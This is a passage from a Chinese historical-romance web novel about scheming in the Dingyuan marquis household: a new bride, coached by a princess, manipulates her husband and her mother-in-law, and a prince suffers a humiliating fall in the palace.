既是谢昀亲自誊抄的聘礼单子,便是表明这些聘礼乃是定远侯府自愿赠与,与方家无尤。 便是往后传了出去,也无人会置喙,说是方家借故索要巨额聘礼。 方父这些日子不甚好的脸色这才缓和了些许,他抬手抚了抚长须,“还算他定远侯府这回做了个人事。罢了,既是他定远侯府非要补偿,那便收着罢。” 方府把聘礼单子收了下来。 那一厢李嬷嬷听了谢夫人的吩咐往前院去传话,不消片刻,便满脸慌张地跑了回来。 谢夫人看着皱眉,“怎么,他方家又说了什么话来刁难我们?” 她以为是方家的人纠缠不休。 未料李嬷嬷摇摇头,“夫……夫人,方家的人已拿着聘礼单子回去了。” “竟就回去了?” 谢夫人诧异,“你跟她们说了我吩咐的那些话了没?” 李嬷嬷再度摇摇头,满脸难色,“夫人,侯爷方才去前院见了方家来的人,他瞧见了那张聘礼单子,当场就允了上头那些田产铺子。现如今,方家的人已拿着新的聘礼单子回去了。” 谢夫人骤闻噩耗,险些支撑不住身子就要倒下去,李嬷嬷连忙上来扶她。 “夫人……” 她接着在谢夫人耳边道:“那新的聘礼单子乃是侯爷亲笔誊抄的,不能更改了。” 谢夫人险些两眼一闭,昏厥了过去。 正此时,月洞门有人施施然进来。 “母亲这是怎么了?” 是前院的谢昀赶了过来,他做尽孝子模样,来扶谢夫人。 谢夫人将他递来搀扶的手避开,她脸色阴沉沉的,“你怎么会在这里?此时你不是该在内阁当值吗?” 她以为谢昀不在府里,这才敢将方家的人晾在前院,本想着杀一杀他们的嚣张气焰,不想却叫谢昀瞧见了。 谢昀微微一笑,“子慎成亲,这样大的事,我自然要来替母亲看顾一二,以免母亲操心过度,伤了身子。” 谢夫人当真是伤了身子,只是不是操心过度,而是叫他气伤的。 谢昀亲笔誊抄了那张聘礼单子,便变相表明这份聘礼单子乃是她谢夫人自愿赠与方寻雁,她再想以此来威胁方家,是再无可能了。 “你好大的胆子。” 她厉声质问谢昀,“两家定聘礼单子,这样大的事,你不知会你母亲一声,自己便就定下了?你还有没有将我这个母亲放在眼里?” 她最擅长的,便是拿人伦孝道来欺压他。 “儿子眼里自然是有母亲的。” 谢昀道:“儿子此番也是为着母亲着想,与方家结亲的事拖得久了,如今金陵城里无人不在看定远侯府的热闹,母亲还要为着那一点铺子置子慎往后的声名而不顾吗?儿子是子慎的兄长,世人常说,长兄如父,儿子也是为了子慎担忧考虑罢了。” 谢夫人睁着一双不甘的眼看着他。 面前的郎君已经长大,他再不是幼时经她打着为他好,说几句冠冕堂皇的话,便能轻易把控他的孩子。 如今他阴险,狡诈,相比较于自己有过之而无不及。 他甚至还有成安公主。 谢夫人从一开始便不喜欢林莺娘,这个女子太有心机,又太会装腔作势。 她自己便是这般卖弄心机才得来的定远侯主母之位,又岂能看不穿林莺娘的心思。 她知道林莺娘是谢昀故意送到自己面前添堵来的。 只恨她竟有那般好的命,兜兜转转竟成了宫里的成安公主。 谢夫人在方寻雁的身上看到了太多林莺娘的影子了。 她知道,这一切都是林莺娘在背后操纵,她要自己身败名裂,还要自己倾其所有。 如此,方能报了自己先前害她之仇。 谢夫人如何想不通,这一番退亲之事,背地里实是林莺娘和谢昀两个,狼狈为奸,一同蓄谋坑害自己。 可恨自己当真着了他们的道。 事到如今,谢夫人在谢昀面前已不必再装,她自嘲地笑了一声,“我承认,是我技不如人,这一场局,是我输了。” “只是……” 她看着谢昀,“你豢养的鸟儿,如今早已跃到了你的头上。谢琢章……” 她极轻地笑一声,低语喃喃,“你确信,你还能掌控得住她吗?” 如今的林莺娘,可再不是他豢养在雾凇院的鸟雀了。 她是翱翔在巍巍宫墙上的凤凰。 第163章 我喜欢夫君呀 方寻雁到底是嫁进了定远侯府。 龙凤喜帕下,她害怕的手紧紧攥着大红嫁衣的裙摆,手心里是握出来的冷汗。 花轿摇摇晃晃,连带着她的思绪也晃晃悠悠,飘到两日前进宫的那一天。 ——她去见了成安公主一面。 曾经恨不得厮杀的死对头如今却是盟友。 成安公主赏了她一对玉镯作为新婚贺礼,她也问出了心底里藏匿许久的话,“殿下为何要帮我?” 成安公主微微一笑,“方姑娘难道没听过那句话,敌人的敌人便是朋友。” 她们有着相同的敌人——谢夫人。 “所以,方姑娘就是我的朋友。”成安公主走到她面前,亲自将那对手镯戴在她的手腕上,她满意地点点头,“方姑娘是美人,手镯配美人,果然很是相对。” 也有那么一个人,总是喜欢这样打扮她,夸赞她。 如今她学着那个人的模样也来夸旁人,将在他身上用到的手段淋漓尽致用到旁人身上。 她提点方寻雁,“方姑娘生得这般貌美,想必成婚后定与郎君琴瑟和鸣,恩爱非常。” “琴瑟和鸣,恩爱非常?” 方寻雁只当成安公主是在看自己笑话,“我如今已是这样了,殿下又何必还要来嘲笑于我?” 她如今即将嫁给谢子慎,自然对他房中之事全然知晓。 ——他屋子里可放着两个貌美多情的通房。 若依着寻常人家,会在郎君成婚前,早早将通房打发掉,省得碍新妇的眼。 但这谢夫人早恨透了方寻雁,她巴不得能叫方寻雁不畅快,自然留着那两个通房好叫她难堪。 她神色寂寂,落寞之情难掩于面。 没有姑娘不想嫁自己的如意郎君,过畅快恣意的生活,只是如今她既已选了这条路,便只能走到黑,不回头。 好在面前的成安公主瞧出了她眼底的落寞,意味深长看她,“这琴瑟和鸣,夫妻恩爱,都是事在人为的。方姑娘这便认输了?” 方寻雁抬头看她。 对上成安公主饶有兴致地挑眉看过来,她恍然大悟,立即跪下出声,“殿下,求您帮寻雁,寻雁定感激于心,铭记殿下的恩情,往后肝脑涂地来报殿下。” “这是干什么?” 成安公主纡尊降贵,亲自来扶她,“只要方姑娘过得好,便不枉费我为姑娘费心谋划这一场了。” 这定远侯府里只能有一位女主人。 只要方寻雁过得好,那另一位就一定不会畅快。 方寻雁铭记成安公主的话。 是红烛高烧,绣帐低垂的洞房花烛夜,新娘独坐帐中,窗棂上贴着双喜剪纸,檐角悬着琉璃灯。 “吱呀”一声,有人推门进来,琉璃灯下的流苏轻轻摇曳。 姑娘提着心。 那人却自顾自去桌边坐下。 “我不喜欢你。” 他直言,“想来你也不会喜欢我。我们成亲,本就是意外。今后你就在这东院里,我不会过来打搅你。” 郎君要与她划清界限。 他其实也提着心。 两人的亲事不算顺利,折腾了这么些日子,他也知晓姑娘的性情,她是那样不饶人的性子,想来听了自己的这番话定要生怒。 她会掀了喜帕起身咬牙切齿来骂他,还是嚎啕大哭,闹得众人皆知。 谢子慎早有心理准备。 可是未料他等了许久,坐在喜帐里的姑娘却不声不语。 他疑虑,“你怎么了?” 他疑心姑娘又生什么幺蛾子,不敢妄自离开,总要过来看个分明。 小心翼翼挑起喜帕,他看见的,是姑娘泪眼朦胧的脸。 她在哭。 哭得隐忍又小心,饮泣吞声,眼眶却是红了一圈,看着委屈又可怜。 方寻雁记着成安公主的话。 ——世上的男子总是多爱温柔如水的姑娘,这谢子慎尤甚,你要讨得他的喜欢,首先便要学会哭,将自己装得委屈又可怜,他才会心生怜惜。 是还在林府的姑娘屡试不爽的法子。 于是,方寻雁首要的便是哭。 是梨花带雨的一张脸,她今日的妆容也画得温婉,少了平日里的盛气凌人,多了几分温柔娇俏,又添这泪水涟涟的一张脸。 任是无情也动人。 但面前的郎君并未动摇,他冷冰冰的一张脸,“你哭什么?我又没欺负你,反倒是你,嫁过来之前对我定远侯府多有刁难。怎么如今你还委屈上了?” 他记得方寻雁刁难退婚的事,很是不满。 “我也不想的。” 姑娘便是解释也是小声的,怯怯低语,如诉衷肠,“我以为夫君不想娶我,这才一时昏了头。” 她忽然唤他夫君,这般亲密的称呼,他一时有些不习惯,又听她说以为自己不想娶她,这说中了他的心事——自己是当真不想娶她。 一时有些讪讪,不知如何接话。 姑娘反而抬起眸来看他,“夫君是当真不想娶我吗?” 她方才才哭过,眼里还盈着泪,偏又是这般期盼看着他,叫他说不出伤人的话。 他从来是这样多情的人,只要姑娘柔情似水,他便招架不住。 他不语,姑娘又嘤嘤低泣起来,“原来夫君是当真不想娶我,这才退婚,可是……可是我喜欢夫君呀……” 这样表明心意的话她这般轻飘飘便说出了口。 谢子慎骇得退后两步,“你……你说什么?” 姑娘羞羞答答,低头抹泪,好半晌,见他回不过神来,才抬起眸,似羞似恼地嗔他一眼,“我喜欢夫君呀!” 她扭扭捏捏诉说着自己的心意,“自那日我落水后,夫君将我从湖里救起来,我便心悦夫君了。” 没有郎君能对着心悦自己的姑娘冷言冷语。 尤其谢子慎,本就不是那般坚定的心性,得姑娘温言软语这一番,他立时忘了方才进新房前谢夫人嘱托的。 ——不过是个新妇罢了,便是娶进门来又怎样,你只管冷待她,她受不住,自然会主动要求与你和离,到时母亲再给你挑个温柔贤惠的妻子。 第164章 昨夜,没伤着你吧? 他记着谢夫人的吩咐。 进门便冷冰冰待她,也打定主意,便是她再怎样蛮横,无理取闹,自己也不会理她。 可是她没有无理取闹。 她只是哭,哭得谢子慎心软,要说出口的决绝话说不出,要走的脚也抬不起来,他还得来安慰她。 “你别哭了。” 他最受不了姑娘哭,哭得他一颗本就多情柔软的心都要化了。 姑娘的泪止不住,泪落如珠,柔美哀婉,楚楚动人。 她还起身来牵他的手,小心翼翼地触碰,他想躲开,又怕伤了她的心,到底是被她牵住了。 她也不敢碰他,只勾他的一点小指,轻轻摇,慢慢晃。 又低着声,小心翼翼来问他,“夫君可喜欢我吗?” 她看见他想摇头,立马咬着唇别过脸去,“夫君不要告诉我。我知道夫君不喜欢我,我只求,夫君不要躲着我。” 她哽咽,“我只是……只是想远远看着夫君便就可以了……行不行?” 她在恳求他,低声下气,楚楚可怜。 他犹犹豫豫,怎么也说不出拒绝的话来。 新房外的谢夫人在等着。 她本以为谢子慎进去说两句冷言冷语的话便出来,当然她也想过,方寻雁或许会闹,毕竟这是洞房花烛夜,没有人忍受得了新婚第一夜便独守空房,那明日她便会沦为这金陵城的笑柄。 但谢夫人就是要她沦为笑柄。 她交代好了谢子慎,也让人将书房收拾出来供他今夜歇息,甚至还让他的通房画月留在那里伺候他。 新婚之日,撇下新妇去寻了通房,明日传扬出去,方寻雁在这金陵城里便再也抬不起头来。 但谢夫人等着等着,新房里安安静静,预料的大吵大闹没有发生。 “或是那方家的姑娘格外难缠,子慎叫她耽搁住了。” 谢夫人想。 她又等了半晌,受不住,嘱托人在这盯着,“你们警醒着些,公子方才在席上喝了不少酒,一会儿公子出来,记得扶他去书房歇息,再将备好的醒酒汤送过去。” 丫鬟小厮皆应下。 谢夫人自己回房去歇息。 今日她也实在是累。 侯府娶亲,这样大的事,她是侯府主母,上上下下都要她来关照盯着,她分身乏术。 未料这一歇息便直接睡了过去。 翌日天光大亮,她揉着额自榻上起身,问来伺候她洗漱的李嬷嬷,“昨夜公子什么时辰出来的?” 她以为谢子慎昨夜在她准备的书房里睡。 李嬷嬷斟酌回话,“夫人,昨夜公子是在新房宿下的,未曾离开。” “什么?” 谢夫人方还混沌的眉眼瞬间清醒,她实在太过激动,手拂过妆台上,上头的妆奁梳篦噼里啪啦落了一地。 脸色也是铁青的,质问李嬷嬷,“这样大的事,怎么昨夜不来通禀我?” 李嬷嬷满腹委屈。 她纵是通禀又有何用?难不成小夫妻洞房花烛夜,谢夫人身为婆母,要带着人闯进去,将榻上的郎君强行拉走? 那今日成笑柄的可就成了谢夫人。 “夫人息怒。”李嬷嬷还得顶着她的怒火来劝,“眼下事情已成定局,三公子现在正带着新妇在堂前等着呢!” 方寻雁在等着给婆母敬茶。 小夫妻昨夜枕上恩爱缠绵,虽是半推半就,到底是肌肤相亲了,先前再大的怨怼也在姑娘声声娇软的“夫君”声中飘散得一干二净。 他到底还是体贴的郎君,趁着四下无人,低着声悄悄问她,“昨夜,没伤着你吧?” 她点了催情助兴的香,他不知,还以为昨夜自己格外莽撞是喝多了酒的缘故。 姑娘羞涩垂眸摇摇头。 又似担忧什么蹙起了眉,“先前的事,母亲会不会怨怪上我?” 她是多体贴的姑娘,当即自省己身,“是我先前不懂事,我也只是怕夫君退婚,不要我了……” 她越可怜他越心疼,“没有的事,母亲也只是误会了,一会儿说开了便好了。你放心,如今咱们夫妻一体,我自然是护着你的。” 说话间,谢夫人姗姗来迟。 她瞧见了两人的窃窃私语,姑娘的羞涩和郎君的体贴她都看在眼里,本就瘀滞的心里越发添堵了两分。 这还不止,姑娘上前敬茶。 在谢子慎看不见的正面,她对着谢夫人,挑眉扬起一个挑衅的笑来。 “母亲喝茶。” 她递上茶,脚下却无意踩住了裙摆,整个人顿时向前跌去,“哎呀”一声,滚烫茶水尽数倒在了谢夫人身上。 她连忙慌乱起身,忙不迭道歉,“对不起,母亲,是我毛手毛脚,没有烫坏您吧?” 方寻雁想要为谢夫人擦身上。 谢夫人怎么可能让她擦。 自己刚刚看得分明,那一盏滚烫的茶水是她刻意倾洒在自己身上的,一时也顾不得身边的丫鬟嬷嬷还在七手八脚给她擦拭衣裳。 直接走上前去,扬手,甩了方寻雁一巴掌。 这一巴掌她用了全力,格外响亮,姑娘白皙如玉的面上霎时红肿起来。 谢子慎在后面。 他瞧不见姑娘倒茶时挑衅的笑,却瞧见了她现下捂着脸,先是怔住,而后是回过头瞧他,眼圈一红,泪顷刻间簌簌落了下来。 “你还有脸哭?” 谢夫人何曾如此狼狈过,指着方寻雁吩咐李嬷嬷,“给我打!刚嫁过门便不敬婆母,我要好好教教她,什么是定远侯府的规矩。” “我没有。” 姑娘捂着脸哭泣,跪在地上连连摇头,“我不是故意的,母亲,我没有不敬婆母……我当真不是有意的……” 她哭得当真可怜,越发显得谢夫人气势凌人。 她还要指责她,“你装模作样给谁看?我告诉你,这里不是方府,是定远侯府。你如今嫁过来就是我定远侯府的人,你想和我斗?还差着远呢!我今日便要叫你知道知道什么是规矩,什么是体统。李嬷嬷,还不快打!” 谢夫人怒不可遏,她本就对方寻雁积攒了一肚子的怨,如今还叫她挑衅到头上来了,她自嫁进定远侯府以来,何曾受过这样的窝囊气。 她是打定主意要收拾方寻雁,好出出自己现下的一口恶气。 李嬷嬷自然听谢夫人的话,她走上前去,将袖子高高挽起。 她是定远侯府的老人了,下手的力道惯来又狠又重,娇生惯养的姑娘家,哪禁得起她这一巴掌下去。 李嬷嬷的手已高高扬起,跪在地上的姑娘吓得闭上了眼。 第165章 忤逆,对峙 “住手——” 郎君三两步走上前,将瑟瑟发抖的姑娘护在怀里,抬头看向自家母亲,眼里诸多不满,“她已说了不是故意将茶水倒在母亲身上的,母亲何故,定要如此咄咄逼人?” “子慎……” 谢夫人先是诧异,而后是不解,“你为了她,指责忤逆你的母亲?你忘了昨夜母亲是如何跟你说的吗?” 谢子慎没忘。 他记得谢夫人交代的话,那方家的姑娘不是个好的,她定亲时便诸多为难定远侯府,想来纵是嫁过来也不是安分的主儿。 他只消听母亲的话,冰冷冷晾着她,谢夫人自有法子刁难为难她,叫她受不住,自行归家去,到时两家和离,她再给谢子慎寻门顶好的亲。 可是…… 谢子慎心道,她并不如母亲所说是那般蛮横无理的人。 她乖巧,又可怜,她说她所做的一切都是因为欢喜他,心悦他。 曾几何时,江州的客船,也有个姑娘,她眸含春水,盈盈看他,嘴里说的是这世上最动人的情话。 “在莺娘眼里,三公子才是这世上最好的郎君。” 那是他二十年来循规蹈矩的生活里头一次动了春心。 如今,也有个姑娘,羞涩着眉眼站在他面前,娇声对他说,“我做的这一切,都是因为心悦夫君。” 一模一样的招数,他再次栽了进去。 谢夫人何其了解自己的儿子,见他这副护着人的模样就知道他这是又叫人蒙骗了去。 现如今,她只恨自己从前管他管得太紧,以致他天真太过,轻易便叫人蛊惑。 然后现在后悔也是太迟,她只能耐着性子来提醒谢子慎,“子慎,你看看她,你瞧瞧她这副矫揉造作的姿态,你还想不明白吧?她这是故意的啊!她要离间我们母子!” 谢子慎垂眸看怀里的姑娘。 怀里的姑娘也看向她。 她谨记着那人的话,要委屈,要可怜,要哭,要将脸颊的伤悄无声息地露出来给他看。 她微微侧脸。 是显眼的巴掌印,清晰地印在姑娘泪水涟涟的面上。 他当即心软。 转头对谢夫人道:“她既嫁了过来,就是儿子的妻。母亲往后就算看在儿子的面子上,不要难为她。” 谢夫人眼睁睁看着他带着方寻雁离开。 姑娘本来一直躲在郎君怀里隐忍哭泣,直到出门转角,才微微转过脸来,看向谢夫人的眼里带着得意的笑。 谢夫人一口气没顺上来,当即仰面倒了下去。 “夫人——夫人——” 丫鬟嬷嬷呼喊声此起彼伏。 但郎君拉着姑娘的手,没回头。 她声音怯怯,“好像是母亲出事了,我们要不要回去看一下?” “没事。”谢子慎温声宽慰,“母亲方才还好好的,怎么可能就出事。想来是故意装得,不过是想让我回去。” 他在谢夫人身上显得格外清醒。 “我先送你回去,晚些我再过去看她。” 但晚些时候,谢子慎来看,谢夫人的确是病了。 她最近诸事不利,本就郁结于心,又添昨日婚宴事忙,这一倒下去,当真是病倒在榻上起不来。 “母亲怎么忽然病得这么严重?” 谢夫人现在不想看见谢子慎,她对自己这个亲子寒透了心,偏首避开眼,“你还来瞧我做甚么?你现在眼里不是只有你的妻吗?” 谢子慎来看她,谢夫人总是冷言冷语,没有好气。 谢子慎觉得委屈,“母亲何必要和寻雁争风吃醋?先前的事她与我说了,当真是误会而已,而且母亲那些田产铺子也没留在方家,都叫寻雁带过来了。母亲若是实在生气,便叫寻雁将那些田产铺子归还母亲,可好?” 谢子慎说这话不过赌气。 方寻雁倒是也提过此事,在那日洞房花烛夜里。 是他不许,“这说的什么话?叫旁人知道,还以为我定远侯府惦记新妇嫁妆,那我往后还要不要在金陵城立足了?” 方寻雁于是乖巧没有再提。 她的目的已经达到,只要谢子慎觉得她懂事就行。 而现下,她那份懂事便更显得谢夫人的严苛冷待叫人窒息。 “我争风吃醋?谁许你和你母亲这样讲话?你这些年学的礼义廉耻都学到哪儿去了?” 谢夫人气得不行,勉强撑着说完这句便俯榻止不住地咳,险些将自己的五脏六腑都咳出来。 身边的丫鬟嬷嬷忙着拍背劝,谢子慎却是冷眼瞧。 “我在这里也只是惹得母亲生气。”他说,“母亲好好养病吧!等母亲好些了我再和寻雁过来瞧母亲。” 谢子慎拂袖而去。 母子俩的嫌隙就此落下。 李嬷嬷来劝谢夫人,“夫人何必着急要和方家那小贱蹄子置气,小心气坏了自己的身子,不值当。” 谢夫人缓过神来,靠着床背上落泪,“子慎当真是糊涂,先有一个林莺娘便罢了,如今这方寻雁也能叫他被蒙骗住,竟为了她来忤逆我!” 她此时终于深觉,谢子慎就是个扶不起的阿斗,只是先前他还不敢这样当面忤逆谢夫人。 如今却是叫人哄骗得连她这个母亲也不放在眼里。 丫鬟玉箫眼看谢子慎急匆匆出院去,不过半晌,便怒气汹汹回,忙来回禀自家姑娘。 “姑爷回来了,只是瞧着,脸色不大好。” 刚和母亲吵了一架,自然是脸色不好。 好在回到东院里来有娇妻送上热汤暖胃,又有温言软语轻哄,“夫君今日忙了一早上,还未曾用膳呢,这是我方才亲手煮的甜汤,夫君尝尝,好不好喝?” 她满眼期待地看着他。 两人成婚不过一日,其实叫谢子慎扪心自问,他对方寻雁并没什么情意。 但谁又会推开送上门来的温香软玉呢? 何况她是这样欢喜自己,心悦自己,以自己为天,谢子慎叫方寻雁哄得一时晕头转向,浑浑然不知所以。 第166章 今本王倒要看看,你还能得意到几时? 定远侯府的这些事逃不过谢昀的眼。 他朝堂事忙,却还抽空来看谢夫人。 “你不必假模假样来看我。” 谢夫人现下是再不愿装,彻底与他撕破了脸,“只是你也别得意。咱们是一家人,我生是定远侯府的主母,死也是你们定远侯府的鬼。只要你在这世上一日,你便一日都得唤我母亲。” “自然。” 他面色平静,亲自端了汤药过来,“儿子喂母亲喝药。” 谢夫人哪敢喝他送上来的药,她怕自己叫他毒死了都不知是怎么死的。 母子两个,面上母慈子孝,心底里都恨不得对方下地狱。 “母亲不敢喝,是怕儿子在里面下毒吗?” 谢昀轻易便看出她心中所想。 于是端过药来,慢条斯理搅了搅,自己执勺浅尝了一口。 蜻蜓点水般点到即止,却也足够叫人安心。 “母亲放心,没有毒。” 自有丫鬟重新取勺送了上来,他将碗中汤勺换了,重新将药碗送到谢夫人面前。 谢夫人使了个眼色。 李嬷嬷立即上来接过药碗,“还是老奴来伺候夫人罢。” 那一碗汤药谢夫人到底是没敢喝,等到谢昀离开,她吩咐李嬷嬷将药倒去花盆里,重新煮一碗新的过来。 李嬷嬷边伺候她用药边宽慰她,“东院那边夫人不必忧心,画月两个还在那里呢!方家那小贱蹄子折腾不了许久的,三公子不过是一时糊涂蒙了心,等过些时日回过神来,他便知道您的好了。夫人现在要做的,便是好生养好自己的身子,莫要叫亲者痛仇者快才是。” 谢夫人喝完药,靠在床背上阖目歇息。 “你说的是,我得养好身子。” 她缓缓睁开眼,“否则,可就叫成安殿那位称心如意了……” 成安殿里的那位自然是称心如意。 她知道了谢夫人在谢子慎新婚第二日便病倒了的消息,面上不无惋惜,“可惜了,眼瞧着娶新妇的好日子,怎么反倒病了呢?” 金陵城里的消息瞒不住,何况定远侯府娶亲这样大的事,翌日谢夫人生病的消息便传了出来。 定远侯府只说自家主母是布置婚宴,迎接宾客累倒下了,但先前谢方两家闹得那样僵,有好事者便暗自揣度,莫不是叫那谢三郎娶的新妇给活生生气病了。 坊间流传的闲言碎语,夜里自有喜欢嚼舌根子的夫人在枕边吹风,落进朝堂上的大人们耳里。 上朝时,再看谢昀的眼里便带着探究和戏谑。 但没有人敢上前来触谢昀的霉头。 他这个人看起来清风明月,实则不大好相与,做事向来严厉又一本正经,偏他职位又高,地位又显,众朝臣都只暗地摇头。 ——不好惹。 朝臣不敢惹,自有皇子敢。 “谢大人留步。” 散朝后,有人在墀台唤住谢昀,是五皇子。 谢昀回首行礼,“见过殿下。” 五皇子自墀台过来,笑看谢昀,“听闻谢大人前些日子家中有喜,只是不巧,本王诸事缠身,不得亲自去定远侯府道喜,谢大人可莫要怨怪。” 五皇子尚武,早年间曾随军远征,性子格外率直豪迈些,不拘小节,自称本王。 谢昀颔首,“殿下言重了,殿下公务事忙,微臣家中不过小事,岂敢耽搁殿下。” 两人在墀台处说话,不少朝臣都驻足看了过来,有些人已经掩唇开始窃窃私语。 不怪乎他们这般好奇。 这五皇子和定远侯府昔日可有仇怨。 当年昔定远侯爷出征,原就是五皇子极力推崇所致,结果昔定远侯爷一去不返,战死在边疆沙场。 此为其一。 后来谢昀在朝堂上步步高升,不少皇子都惦记上他,想要将谢昀招揽至自己麾下。 这五皇子自然也是其中之一。 结果当然是铩羽而归。 旁的皇子倒还好,只道这谢昀忠于圣上,是不可多得的保皇孤臣。 只有这五皇子。 他深觉谢昀是记恨先前昔定远侯出征一事这才推拒自己,是以在朝堂上和谢昀诸多不对付,两人政见相左是常有的事。 好在从前圣上清明,大多都以谢昀政见为先。 这便更让五皇子怀恨在心。 两人争锋相对不在暗处,如今四皇子倒台,五皇子现下是最炙手可热的储君之选。 众朝臣眼瞧着,心里不免替谢昀惋惜。 若是五皇子即位,依着两人先前的恩怨,谢昀往后的日子怕是不能好过。 但谢昀现下的日子就不好过。 五皇子早就惦记上他了,也有心要叫他当众出丑,好发泄一下从前他推拒自己的怨恨。 是以定远侯府的喜帖送来便叫他随手搁去烛火处点燃。 五皇子不去定远侯府的喜宴。 那以五皇子为先的诸位朝臣便也不能去。 定远侯府偌大的喜宴,来贺喜之人寥寥无几。 如今五皇子又将谢昀拦在这散朝必经之路上,叫人看热闹。 “听说谢夫人病了,这喜事刚过,不正是人逢喜事精神爽的时候吗?怎么好端端还病了呢?” 五皇子装作关心有加,“谢夫人病得可严重吗?要不要本王吩咐两个太医过去瞧瞧?” “谢殿下关心。”谢昀不卑不亢,声音清朗,“不过小病而已,休养些时日便好,就不劳殿下费心。” “那就好。” 五皇子并不打算轻易放过他,又问,“谢夫人是如何生的病?莫不是当真如流言所说……” 他点到即止,“好心”提醒谢昀,“谢大人,这朝堂事再忙,家中之事也不能懈怠呀,莫要叫满朝同僚们看了笑话才是。” 五皇子习武嗓门大,靠得近的朝臣听见了这话,不无尽皆笑起。 五皇子又道:“哎呀,是本王一时失言,说错话了,谢大人莫要放在心上。” 谢昀自然是不会放在心上。 他清朗如山月的眉眼动也未动,如此坦荡,瞧不出一点被冒犯取笑的意思,倒显得五皇子此举如跳梁小丑一般。 五皇子反应过来,恼羞成怒,也不再装了,“谢昀,先前本王抬举你几分,你不领情。如今本王倒要看看,你还能得意到几时?” 第167章 臣恭候殿下 五皇子胸有成竹。 谢昀得意的日子不会太久了,等自己登临大宝,首要的一件事便是重整朝纲,将先前阻碍自己的人都清扫出去。 这里头,当先的便是谢昀。 谢昀经他威胁,面色平静未改,只抬手行礼,“臣恭候殿下。” 而后,施然离开。 徒留五皇子在墀台,脸色阴沉的不像话。 他本意是要为难人一场,如今反倒是自身像是被羞辱了一番。 身边的朝臣见他面色不郁,小心翼翼上前来问,“殿下……” 话还没说出口,便叫五皇子闷头一声喝。 “滚!” 朝臣忙不迭地走开,不敢碍他的眼。 五皇子怒气冲冲出宫去,宫道上,却意外遇见了成安公主。 成安公主瞧见他,先上前行礼,“殿下。” 五皇子面色稍微和缓了些许,颔首应,“成安公主。” 诸位皇子公主对这个突如其来的成安公主均是客气有礼,生疏有别,毕竟谁也看不穿天子现今待这位昔太子殿下血脉的态度究竟是真是假。 这当头,作壁上观才是最稳妥的法子。 好在这成安公主也是个识趣的人,她往常只在成安殿中,轻易不出门来。 也只是今日薄日晴好,这才起了兴要来宫道上放风筝。 不想,一阵风吹过,风筝脱了线,飘飘荡荡挂在了树梢上。 眼下,成安公主正不好意思得看向五皇子,“这风筝实在挂的太高了,殿下能不能帮帮成安,将它取下来?” 五皇子随着她的手指看向高高越过宫墙的树梢,果然有个美人形状的风筝挂在上头。 成安公主落寞着眉眼解释,“成安自进了宫,便再瞧不见外头的模样了,本想着自己出不去,便叫这风筝替我出去看一看,不想也被这树梢牵绊住。” 求人帮忙首要的便是放低姿态。 只要姿态放得够低,旁人纵是想推脱话也不好说出口。 便如现下的五皇子。 他实在是没有心思来做这些女儿家吟风弄月的雅事,但如今成安公主已开了口,又装得这么一副可怜模样说这些话,那他推拒的话便无论如何也说不出口。 当然,也可以吩咐身边的内侍去取。 但他方才叫谢昀气得够呛,连带着身后跟着的内侍也看不顺眼。 “别跟着本王。” 他拂袖生怒,身后的内侍面面相觑,哪里还敢再跟着。 现下他孤身一人。 成安公主身边又只得两个宫婢,这风筝倒是只能由五皇子去取。 宫道上的宫墙做得格外高耸,便是他有武艺傍身,轻易也是上不去的,还是得爬梯子。 好在宫道旁就有梯子,是宫里的内侍用来修剪枝桠时所用。 五皇子爬上梯子前还看了成安公主一眼。 平心而论,他实在不愿做这种纡尊降贵的琐事,自己眼看就要荣登大宝,往后便是九五之尊。 谁家九五之尊会做这样的事? 谁敢让将来的九五之尊做这样的事? 他以为成安公主会反应过来,改口不让自己上去,未料她睁着一双懵懂的眼看着自己,“殿下怎么了?是站在上面瞧不见风筝在哪儿吗?” 她连忙踮着脚过来指,“就在那儿,殿下瞧见了吗?” 真是殷勤又好心。 五皇子瞧见了。 他也知道,这风筝今日自己是非取不可了。 他认命的爬上梯子,在成安公主的指引下去摘缠在枝桠上的风筝。 底下的三个年岁相仿的姑娘叽叽喳喳,“这里,这里……” “不对,殿下您还要过去一点……” “不对,不对,不是那里,是这里……” “不,不是那里,是这里,是这边殿下……” “对对对,就是这里……” 五皇子脑袋吵得嗡嗡作响,世人常说三个女子一台戏,他现在总算知晓是为何故。 好不容易取到风筝。 五皇子想,总算是解决了,一会儿他出宫去定要去清风阁让那里的姑娘弹个舒心解气的曲,好好疏解一下自己险些被吵聋的耳朵。 他要爬下梯子将风筝交给成安公主。 但成安公主实在心急,他还没落地她便雀跃踮着脚过来接。 脚尖是不稳的,人是轻晃的,那声“多谢殿下”还未落下,便是险些没站稳的惊呼。 好险。 姑娘站稳了身子,后怕的轻拍胸脯。 ——她没摔着。 一手拿着风筝,一手扶在了搭在墙头的梯子上。 梯子撑住了她的身子,卸掉了她大半的力,只是它自己撑不住了,歪着墙头便径直倒了下来。 梯子上的人自然也倒了下来。 “殿下——” 伴随着姑娘的惊呼是五皇子结结实实砸在地上的闷哼。 她这会子也顾不上风筝了,往宫婢的怀里一塞便跑过来着急忙慌扶他,“殿下您没事吧?” 五皇子撑着身子坐起来,眼冒金星。 但是现下,疼不是最要紧的,最要紧的是丢脸。 这处宫道虽偏僻,来往的宫婢内侍却是不在少数,只不过方才都各司其职的在殿里忙活。 如今听得成安公主这一声惊呼才齐齐探头冒了出来。 这一瞧,竟是五皇子殿下从梯子上摔下来了,于是都聚拥上来扶他。 这下动静便闹得大了。 还有散朝未出宫的朝臣也听了动静过来瞧热闹,眼看着五皇子板着脸被众人从地上扶起来。 他这一遭摔得狠了,落地的时候脚还被倒下来的梯子砸了个结结实实,现下正疼得紧,只能撑着内侍的手才能勉强站起身子。 自知闯了大祸的成安公主连忙凑上来,满脸的歉疚,“殿下您可摔伤了?对不住,都是成安的错,若不是我让殿下帮我取风筝,殿下也不会从梯子上摔下来。” 想要别人指摘不出错处的法子便是先发制人。 姑娘先认了错,道了歉,旁人指摘的话便无论如何也说不出口。 更何况她眼圈微红,唇也紧紧抿着,似是下一瞬就能落下泪来。 五皇子当真是怨怪她。 自己在宫道上好好走着,非被她拉过来要取这破劳什子的风筝,取风筝便罢了,她还不安分,非要提前来取风筝,害得自己从梯子上摔了下来。